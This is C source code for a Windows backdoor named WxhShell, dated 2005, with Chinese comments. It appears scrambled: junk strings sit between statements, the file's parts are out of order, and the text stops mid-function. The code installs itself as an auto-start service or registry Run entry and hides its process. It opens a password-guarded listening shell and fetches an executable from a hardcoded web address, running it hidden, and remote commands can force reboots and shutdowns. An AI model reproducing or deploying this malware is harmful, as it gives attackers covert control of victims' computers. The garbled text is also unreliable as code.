PROCNTQSIP NtQueryInformationProcess; ']c;$wP AA ~7"2e static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !H c6$ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &6Lh>n( +"WNG HANDLE hProcess; A(BjU:D(Oj PROCESS_BASIC_INFORMATION pbi; ?aBAmyxm [5-IkT0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g26_#4 P if(NULL == hInst ) return 0; H|j]uLZ '|v<^EH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vfhoN]v g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $/JXI?K NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P@5-3]m= r]QeP{ if (!NtQueryInformationProcess) return 0; F/j ; q qQo*:3/]; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yU7XX+cB7 if(!hProcess) return 0; YbWz!.WPe `-b{|a J if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aYpc\jJ C9k"QPE CloseHandle(hProcess); _Fv6S}~Q Oo(xYy hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NL-PQ%lUA if(hProcess==NULL) return 0; "la0@/n :*|So5fs HMODULE hMod; .Q@]+&`|}i char procName[255]; F>[^m Xw unsigned long cbNeeded; 9aIv|cS? Xf{p>-+DL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \ E5kpm ErsJWp CloseHandle(hProcess); :(3'"^_NA +
<w6sPm if(strstr(procName,"services")) return 1; // 以服务启动 Tb:'M:dM" &,l7w K return 0; // 注册表启动 )M[FPJP} } 9T`YHA'g |@R/JGB^ // 主模块 &lzCRRnvt int StartWxhshell(LPSTR lpCmdLine) tN.BI1nB { ]PL\;[b> SOCKET wsl; U%VFr# BOOL val=TRUE; hmb=_W int port=0; r,vSDHb`j struct sockaddr_in door; I7'v;* KlBT9"6" if(wscfg.ws_autoins) Install(); K@osD7- =R9`to|
port=atoi(lpCmdLine); _XrlCLp: d {Q]7!/>> if(port<=0) port=wscfg.ws_port; i{Q,>Rt juM~X5b WSADATA data; P^lRJB<$Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dp^=% F{t ~:_10g]r if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; TDg<&ND3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XC/M:2$ door.sin_family = AF_INET; 6B>*v`T: door.sin_addr.s_addr = inet_addr("127.0.0.1"); NJoHrhC=' door.sin_port = htons(port); QOJ5 |
ObA=[j if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NW21{}=4 closesocket(wsl); )B~{G\jS return 1; f|s,%AU"i } ^QHgc_oDm 6BXZGE if(listen(wsl,2) == INVALID_SOCKET) { pm= s closesocket(wsl); UK@hnQU8` return 1; EF 8rh } DC$> 5FDv Wxhshell(wsl); d1*0?G TT WSACleanup(); 4}YHg&@\d% <
r b5' return 0; +tYskx/ "oR%0pU* } YsTF10 Ac
+fL // 以NT服务方式启动 QNj6ETB-d VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kO/;lrwC { AVc|(~V DWORD status = 0; /" &Jf}r DWORD specificError = 0xfffffff; \C1`F[d_ *;T HD> serviceStatus.dwServiceType = SERVICE_WIN32; i(q a'* serviceStatus.dwCurrentState = SERVICE_START_PENDING; OG7U+d6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v}^uN+a5 serviceStatus.dwWin32ExitCode = 0; =}SC .E\ serviceStatus.dwServiceSpecificExitCode = 0; "!Hm.^1 serviceStatus.dwCheckPoint = 0; Q 9JT6 serviceStatus.dwWaitHint = 0; 8 }Maj OF!n}.O( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :%zA X if (hServiceStatusHandle==0) return; kH62#[J)yM 86Xf6Ea status = GetLastError();
T(+*y if (status!=NO_ERROR) f2Tz5slE { I[LHJ4 serviceStatus.dwCurrentState = SERVICE_STOPPED; dW|S\S'& serviceStatus.dwCheckPoint = 0; 5 ^tetDz} serviceStatus.dwWaitHint = 0; H|;BT serviceStatus.dwWin32ExitCode = status; 3J^'x serviceStatus.dwServiceSpecificExitCode = specificError; f kdJgK SetServiceStatus(hServiceStatusHandle, &serviceStatus); %b ^.Gw\L return; <a
D}Ko( } 0INlo DCSTp2 serviceStatus.dwCurrentState = SERVICE_RUNNING; XO/JnJ^B serviceStatus.dwCheckPoint = 0; gvxOo#8] serviceStatus.dwWaitHint = 0; S%Z2J)H" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nN[QUg } _w9:([_ }_?FmuU // 处理NT服务事件,比如:启动、停止 U {sT %G VOID WINAPI NTServiceHandler(DWORD fdwControl) lhFv2.qR { ~NwX,-ri switch(fdwControl) )TkXdA?. { 82=>I*0Q case SERVICE_CONTROL_STOP: mH4Jl1S& serviceStatus.dwWin32ExitCode = 0; yd`f<Hr<m serviceStatus.dwCurrentState = SERVICE_STOPPED; 'c/Z
W serviceStatus.dwCheckPoint = 0; {,o =K4CD serviceStatus.dwWaitHint = 0; QPz3IK% { t^<ki?* SetServiceStatus(hServiceStatusHandle, &serviceStatus); hr GfA } >xm:?W R
return; Eg]tDPN1 case SERVICE_CONTROL_PAUSE: #)<WQZ) serviceStatus.dwCurrentState = SERVICE_PAUSED; "3uPK$ break; SBG.t: case SERVICE_CONTROL_CONTINUE: Lq5Eu$;r serviceStatus.dwCurrentState = SERVICE_RUNNING; zT _[pa)O` break; 77zDHq= case SERVICE_CONTROL_INTERROGATE: )Yw m_f-N break; .RWKZB }; |z.Z='` SetServiceStatus(hServiceStatusHandle, &serviceStatus); OQ by=} A } zVtNT@1K>u tc)4$"9) // 标准应用程序主函数 VrZ6m int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?C|b>wM/ { )Hlc\Mgy X&bnyo P // 获取操作系统版本 DzK%$#{< OsIsNt=GetOsVer(); :g"UG0]; GetModuleFileName(NULL,ExeFile,MAX_PATH); $N17GqoC c
UHKE\F // 从命令行安装 Bpl(s+ if(strpbrk(lpCmdLine,"iI")) Install(); (n~GKcA t3FfPV!P" // 下载执行文件 bl`vT3 if(wscfg.ws_downexe) { >{w"aJ" F if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) # F|w_P WinExec(wscfg.ws_filenam,SW_HIDE); 8j&LU, } 'wP\VCL2> uSn<]OrZo` if(!OsIsNt) { )\Ay4d // 如果时win9x,隐藏进程并且设置为注册表启动 ]$
iqJL HideProc(); gye'_AR?k StartWxhshell(lpCmdLine); >KnXj7 } ]tDuCZA else ?Y#x`DMh if(StartFromService()) @m(ja@YC // 以服务方式启动 ;kiL`K StartServiceCtrlDispatcher(DispatchTable); 5oR/Q|^ else `F
TA{ba // 普通方式启动 q.g0Oz@z StartWxhshell(lpCmdLine); aYPD4yX"/ N13wVx return 0; v`KYhqTUl } \>GHc} aMycvYzH wT+b|K n*GsM6Y& =========================================== dd@-9?6M !Won<:.[0 Lb%Wz*Fa%! -H(\[{3{V K#<cuHGC Ju 0 " lQnqPQY u'Ua ++a\ #include <stdio.h> &KZr`"cT# #include <string.h> n{v[mqm^ #include <windows.h> dAj;g9N/h #include <winsock2.h> C@Fk #include <winsvc.h> 0]^ke:(# #include <urlmon.h> &^!vi2$5} ;p4|M #pragma comment (lib, "Ws2_32.lib") ZpTT9{PT=: #pragma comment (lib, "urlmon.lib") lZ` CFZR0 a jyuk@ #define MAX_USER 100 // 最大客户端连接数 TbPTgE * #define BUF_SOCK 200 // sock buffer tHV81F1J #define KEY_BUFF 255 // 输入 buffer ag\xwS#i5H NU?05sF #define REBOOT 0 // 重启 12MWO_'g8 #define SHUTDOWN 1 // 关机 } :8{z`4H vpl>
5 % #define DEF_PORT 5000 // 监听端口 3BWYSJ| y&$v@]t1 #define REG_LEN 16 // 注册表键长度 yw9)^JU8" #define SVC_LEN 80 // NT服务名长度 .q^+llM ?* %JGz_ // 从dll定义API fmQ`8b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S>s{t=AY~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %RF9R"t$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nVVQ^i}`G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +8\1.vY !E+. ( // wxhshell配置信息 g1TMyIUt[ struct WSCFG { TUV&9wKXo int ws_port; // 监听端口 "TboIABp:H char ws_passstr[REG_LEN]; // 口令 G`1FD int ws_autoins; // 安装标记, 1=yes 0=no [b<AQFh<c char ws_regname[REG_LEN]; // 注册表键名 `96PY!$u char ws_svcname[REG_LEN]; // 服务名 pa@@S$( char ws_svcdisp[SVC_LEN]; // 服务显示名 ;"77?) char ws_svcdesc[SVC_LEN]; // 服务描述信息 s;eOX\0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OcWzo#q4[ int ws_downexe; // 下载执行标记, 1=yes 0=no W<AxctId char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" orcPKCz|" char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gwyHDSo8:a ui\yY3? }; -'iV-]< -
P$mN6h // default Wxhshell configuration K4\# b}P! struct WSCFG wscfg={DEF_PORT, aV9QIH~ "xuhuanlingzhe", ^k7`:@
z0U 1, 8qY\T0 "Wxhshell", j~@Hj$APa` "Wxhshell", Iyf hVk? "WxhShell Service", R!8 qkG "Wrsky Windows CmdShell Service", / .ddx< "Please Input Your Password: ", !C$bOhc 1, E 9LKVs} "http://www.wrsky.com/wxhshell.exe", D[5Qd)PIL "Wxhshell.exe" wgb
e7-{ }; a*4l!-7 mDT"%I"4j // 消息定义模块 <:rbK9MIl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !b0ANIp char *msg_ws_prompt="\n\r? for help\n\r#>"; ^+m6lsuA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1>BY:xZr char *msg_ws_ext="\n\rExit."; -N3fhW#) char *msg_ws_end="\n\rQuit."; C;C= g1I} char *msg_ws_boot="\n\rReboot..."; /d\#|[S char *msg_ws_poff="\n\rShutdown..."; )@O80uOFh char *msg_ws_down="\n\rSave to "; M@=eW Z< >)sB#<e char *msg_ws_err="\n\rErr!"; TzJp3 char *msg_ws_ok="\n\rOK!"; pSvqGJU3 vl{G;[6 char ExeFile[MAX_PATH]; ?!4xtOA int nUser = 0; V#Hg+\{d HANDLE handles[MAX_USER]; d 18>0R int OsIsNt; };z[x2l^ &u@<0 1= SERVICE_STATUS serviceStatus; I|27%i SERVICE_STATUS_HANDLE hServiceStatusHandle; TNHkHR[& ah(lH5r // 函数声明 CQ`$' oy?W int Install(void); <oc"!c;T int Uninstall(void); xElHYh(\ int DownloadFile(char *sURL, SOCKET wsh); :Rq>a@Rp int Boot(int flag); ]26
Q*.1~ void HideProc(void); (")IU{>c6 int GetOsVer(void); 9mEt**s
Ur int Wxhshell(SOCKET wsl); ^s_BY+# void TalkWithClient(void *cs); ;c!}'2>vM int CmdShell(SOCKET sock); ,1}c% C*,Q int StartFromService(void); F"k.1. int StartWxhshell(LPSTR lpCmdLine); ?Z]5
[ |@a.dgz, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /i${ [1 VOID WINAPI NTServiceHandler( DWORD fdwControl ); p%8v+9+h2 h*2NFL~# // 数据结构和表定义 -f+U:/'.>v SERVICE_TABLE_ENTRY DispatchTable[] = ,'KQF C { <u'q._m {wscfg.ws_svcname, NTServiceMain}, _h=kjc}[.O {NULL, NULL} Dp5hr 8bT }; bP4<q?FKcN 'k?%39 // 自我安装 R*v~jR/ int Install(void) %SHjJCS3 { yt+"\d char svExeFile[MAX_PATH]; tdl Y HKEY key; <d$L}uQwg strcpy(svExeFile,ExeFile); #fy#G}c J(%Jg // 如果是win9x系统,修改注册表设为自启动 9
2e?v8 if(!OsIsNt) { Od?M4Ed( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hkcr+BQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w _*|u RegCloseKey(key); -t<8)9q( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zr&~gXmVS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y2>XLELy RegCloseKey(key); JwkMRO return 0; 7(q EHZEr } WxN@&g( } LV^V`m0# } zSpL^:~ else { Jj~c&LxrO ?\
qfuA9. // 如果是NT以上系统,安装为系统服务 'q#$^='o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1nt VM+ if (schSCManager!=0) @dy<=bh~ { _* xjG \! SC_HANDLE schService = CreateService A[/_}bI| ( 9{{|P= schSCManager, x"n!nT%Z wscfg.ws_svcname, aetK<9L$ wscfg.ws_svcdisp, dW32O2@- SERVICE_ALL_ACCESS, YkPc& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ly?%RmHK SERVICE_AUTO_START, *@XJ7G[ SERVICE_ERROR_NORMAL, Mn-f svExeFile, =`8%qh NULL, Z#+{ksU NULL, Au q) NULL, rj.]M6# NULL, |
JmEI9n2 NULL Zd~l_V f ); ] Q 'Ed if (schService!=0) 7 +RsZu { Ddf7wszW CloseServiceHandle(schService);
[a\U8
w CloseServiceHandle(schSCManager); .=j]PckJO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :V(+]< strcat(svExeFile,wscfg.ws_svcname); 7rc6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4QK~qAi RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lw.4O^ RegCloseKey(key); ( 1 L9K; return 0; nX@lR~g%F } _1s\ztDpw } %Fh*$gzh*5 CloseServiceHandle(schSCManager); *1}UK9X; } zyznFiE } zL1*w@6 y+ZRh?2 return 1; '|zkRdB*Lq } 's.cwB: # 7XZ5CX& // 自我卸载 yFIB/ln: int Uninstall(void) ?,_$;g {
FmRCTH HKEY key; v<*ga7'S 1eg/<4]hA if(!OsIsNt) { CXb-{|I}d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -,M*j| RegDeleteValue(key,wscfg.ws_regname); xq?9w$ RegCloseKey(key); _I("k:E7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 52*9q! RegDeleteValue(key,wscfg.ws_regname); EJd l%j RegCloseKey(key); #HMJBQ4v# return 0; X1A~#w> } 9@nDXZPY& } QY]^^f } Km5#$IiP; else { l!U_7)s/ Z!@<[Vo6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "T*Sg if (schSCManager!=0) 20 j9~+ { o\_@4hXf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i.eu$~F if (schService!=0) U_/sY9gz( { 7^{M:kYC! if(DeleteService(schService)!=0) { UDJ{iZ CloseServiceHandle(schService); Ueq*R(9> CloseServiceHandle(schSCManager); 6ty>0 return 0; g]'RwI } oKl^Ttr CloseServiceHandle(schService); TRQ@=. } [n[!RddY CloseServiceHandle(schSCManager); QB<9Be@e } 3GH@|id } wVI 1sR s Zan.Kc# return 1; mSn> } 24ojjxz+ "bO\Wt#Mf // 从指定url下载文件 sh $mOy int DownloadFile(char *sURL, SOCKET wsh) Z9:erKT { dQ4VpR9|; HRESULT hr; %J*z!Fe8s char seps[]= "/"; 6} DGEHc1 char *token; CM}1:o<<N char *file; fl{wF@C6 char myURL[MAX_PATH]; pEc|h*p8 char myFILE[MAX_PATH]; 8PWx>}XPt ?tWcx;h:> strcpy(myURL,sURL); <A"T_Rk token=strtok(myURL,seps); 7Z-'@m while(token!=NULL) ?o@5PL { A!([k}@=j file=token; ;Up'+[Vj'C token=strtok(NULL,seps); ~m
,xG } ZI'MfkEZ* A]fN~PR GetCurrentDirectory(MAX_PATH,myFILE); 7j9:s>D strcat(myFILE, "\\"); Yx- 2ux strcat(myFILE, file); gW{<:6}!* send(wsh,myFILE,strlen(myFILE),0); 'cs!(z-{x send(wsh,"...",3,0); KO`ftz3 + hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^4Nk13 if(hr==S_OK) G_GPnKdd return 0; 7M#eR8*[se else ?(9/V7HQ.5 return 1; s>=DfE-;" _j$"fg } ,o$F~KPu e rz9CX // 系统电源模块 "<c^`#CWuO int Boot(int flag) W6.
)7Y, { "}_b,5lkGK HANDLE hToken; 'z=WJV;Vs TOKEN_PRIVILEGES tkp; T3HAr9i%) ff.(X! if(OsIsNt) { T#;W5<" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #) eI] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8]@)0q {r tkp.PrivilegeCount = 1; [>5<&[A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (w31W[V'# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); axJuJ`+Y if(flag==REBOOT) { =oZHN, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +mM=`[Z`?? return 0; K>=KsG } ?F{sym@i else { hlY]s
&0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4uQ\JD(*Eu return 0; CqMm'6;$a} } <Fkm7ME] } l^.d3b else { "/ N ?$ if(flag==REBOOT) { Dj
Z;LE> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YCv)DW; return 0; Tr}z&efY } 6OBe^/ZRt else { d~i WV6Va if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vu
@2
return 0; &`#k1t' } VrV
)qfG } zV)(i<Q UKYQ @m return 1; F32N e6Y6" } 8v$2*$ {M`yYeo // win9x进程隐藏模块 9g*O;0 uz void HideProc(void) =?o, ' n0 { ~0}gRpMW i!H)@4jX HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &|/@;EA$8 if ( hKernel != NULL ) 4o+SSS { RJpH1XQ
j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O$Wi=5 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1u?h4wC FreeLibrary(hKernel); "I[a]T}/ } 9q
+I @DiXe[kI return;
G.2\Sw } pbfIO47ZC U
GA_^?4 // 获取操作系统版本 `pMI@"m int GetOsVer(void) 4?+K:e #F { a`c#-
je OSVERSIONINFO winfo; 4LG[i}u.N winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =>?;Iv'Z GetVersionEx(&winfo); j@N z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bjn: e!} return 1; 1D*oXE9Ig else fL0dy[Ch@ return 0; 9((BOq } D-{;;<nIr` 'eyzH[l,( // 客户端句柄模块 lk.]!K$} int Wxhshell(SOCKET wsl) %7w=; ]ym { w=NM==cLj SOCKET wsh; " ^v/Y struct sockaddr_in client; u|;?FQ$M DWORD myID; VI xGD#m [&_7w\m while(nUser<MAX_USER) RIhu9W { JD`IPQb~E int nSize=sizeof(client); Q6Ay$*y=D wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {6*$ yLWK if(wsh==INVALID_SOCKET) return 1; \,UpFuU\ {Ad4H[]|] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AnF"+< if(handles[nUser]==0) Sb2hM~ closesocket(wsh); /+V}. else _Y{8FN(4 nUser++; Hw0S/ytY } M~rN17S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =`MxgK + s3(mkdXv return 0; U0ZT9/4 } *5|;eN oI\Lepl* // 关闭 socket ,9A1p06 void CloseIt(SOCKET wsh) fL^$G;_?3 { !.2tv closesocket(wsh); =3h?!$#? nUser--; L3/SIoqd ExitThread(0); ^}w@&Bje } %bN+Y' *F<Ar\f5 // 客户端请求句柄 (Q]Ww_r~ void TalkWithClient(void *cs) 'hoEdJ]t5 { Abw=x4d(i V4#b W SOCKET wsh=(SOCKET)cs; aru;yR char pwd[SVC_LEN]; N8[ &1 char cmd[KEY_BUFF]; -dto46X char chr[1]; Vn=K5nm int i,j; !_?K(X~/ 1Yk!R9. while (nUser < MAX_USER) { {"dvU"y)\ B*OEG*t if(wscfg.ws_passstr) { >='y+68 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >z'T"R/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [Qw BSq8) //ZeroMemory(pwd,KEY_BUFF); gLDO|ADni i=0; ]>9[}'u while(i<SVC_LEN) { .4[\%r\i ngt?9i;N // 设置超时 '?Jz8iu- fd_set FdRead; Z|#G+$"QV struct timeval TimeOut; MJ\^i4 FD_ZERO(&FdRead); euMJ c FD_SET(wsh,&FdRead); Jkx_5kk/\ TimeOut.tv_sec=8; r"_U-w TimeOut.tv_usec=0; ^ g'P
H{68 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5i0vli/L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7DZZdH$Fm YHp]O+c if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XLgp.w; pwd=chr[0]; N,3 )`Vm if(chr[0]==0xd || chr[0]==0xa) { (v,g=BS, pwd=0; ;hgRMkmz4< break; c]/X
>8; } B*@0l: i++; F(;=^w } e"d-$$'e &cpqn2Z
// 如果是非法用户,关闭 socket -=InGm\Y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 20,}T)}Tm } \H4$9lPk cU|tG!Ij? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1CR)1H send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F"^/R f-BPT2U+ while(1) { T;M4NGmvd TFZxk ZeroMemory(cmd,KEY_BUFF); "$I8EW/1 FyhLMW3 // 自动支持客户端 telnet标准 O<`N0 j=0; 5M&<tj/[a0 while(j<KEY_BUFF) { 6no&2a|D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~LF/wx> cmd[j]=chr[0]; BhzcimC) if(chr[0]==0xa || chr[0]==0xd) { LOEiV cmd[j]=0; >^~W'etX| break; 9 gc0Ri[4m } cK1 Fv6V# j++; 5F78)qu6N } D & Bdl5g wBlo2WY // 下载文件 ;S?ei>Q if(strstr(cmd,"http://")) { 1>=]lMW send(wsh,msg_ws_down,strlen(msg_ws_down),0); mVd%sWD if(DownloadFile(cmd,wsh)) X/f?=U send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8b:GyC5L else n`X}&(O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P_.zp5> } TtWWq5X| else { >sGiDK @ fyF8RTm{ switch(cmd[0]) { gl~9|$ivj> SUb:0GUa // 帮助 ,Ma%"cWVC case '?': { NtG^t}V send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -PCFOm" break; #G]g } O%1uBc // 安装 2dCD.9s9~ case 'i': { EX/{W$
&K if(Install()) AQGl}%k_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); XI>HC'.0 else $}JWJ\-] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >x*ef]aS break; f+%s.[;A } Ys>Z=Eky // 卸载 7n[0)XR> case 'r': { @Yw>s9X if(Uninstall()) WCP2x.gb5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); HP,{/ $i: else 4C }#lW9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gn:&akg break; P>hR${KE } Hyb_>n // 显示 wxhshell 所在路径 fp?/Dg"49. case 'p': { C.RXQ`-P} char svExeFile[MAX_PATH]; H}cq|hodn strcpy(svExeFile,"\n\r"); .wPI%5D strcat(svExeFile,ExeFile); bl-D{)X send(wsh,svExeFile,strlen(svExeFile),0); GE*%I1?] break; K2gF;( } Q"QZ^!zRl // 重启 98*C/=^TH{ case 'b': { 39bw,lRPV send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @2~;)* if(Boot(REBOOT)) M Al4g+es send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eih6?Lpu else { PU-L,]K closesocket(wsh); '3=@UBs ExitThread(0); L5wR4Ue) } P@0J! break; ?&D.b$ } +ZR>ul-c // 关机 hm0MO,i" case 'd': { ~{ucr#]C send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FK@Gd)( if(Boot(SHUTDOWN)) 1 fTf+P send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;NF:98 else { !8|?0>3) closesocket(wsh); K?Jo"oy7 ExitThread(0); G%>{Z?!B }
t;}`~B break; jt0f*eYE8 } Pp.]/; // 获取shell "}2I0tM case 's': { :Q}Zb,32 CmdShell(wsh); z,RjQTd closesocket(wsh); CQs,G8\/ ExitThread(0); xHe"c< break; C8O<fwNM
} qG3MyK%O\ // 退出 <l< |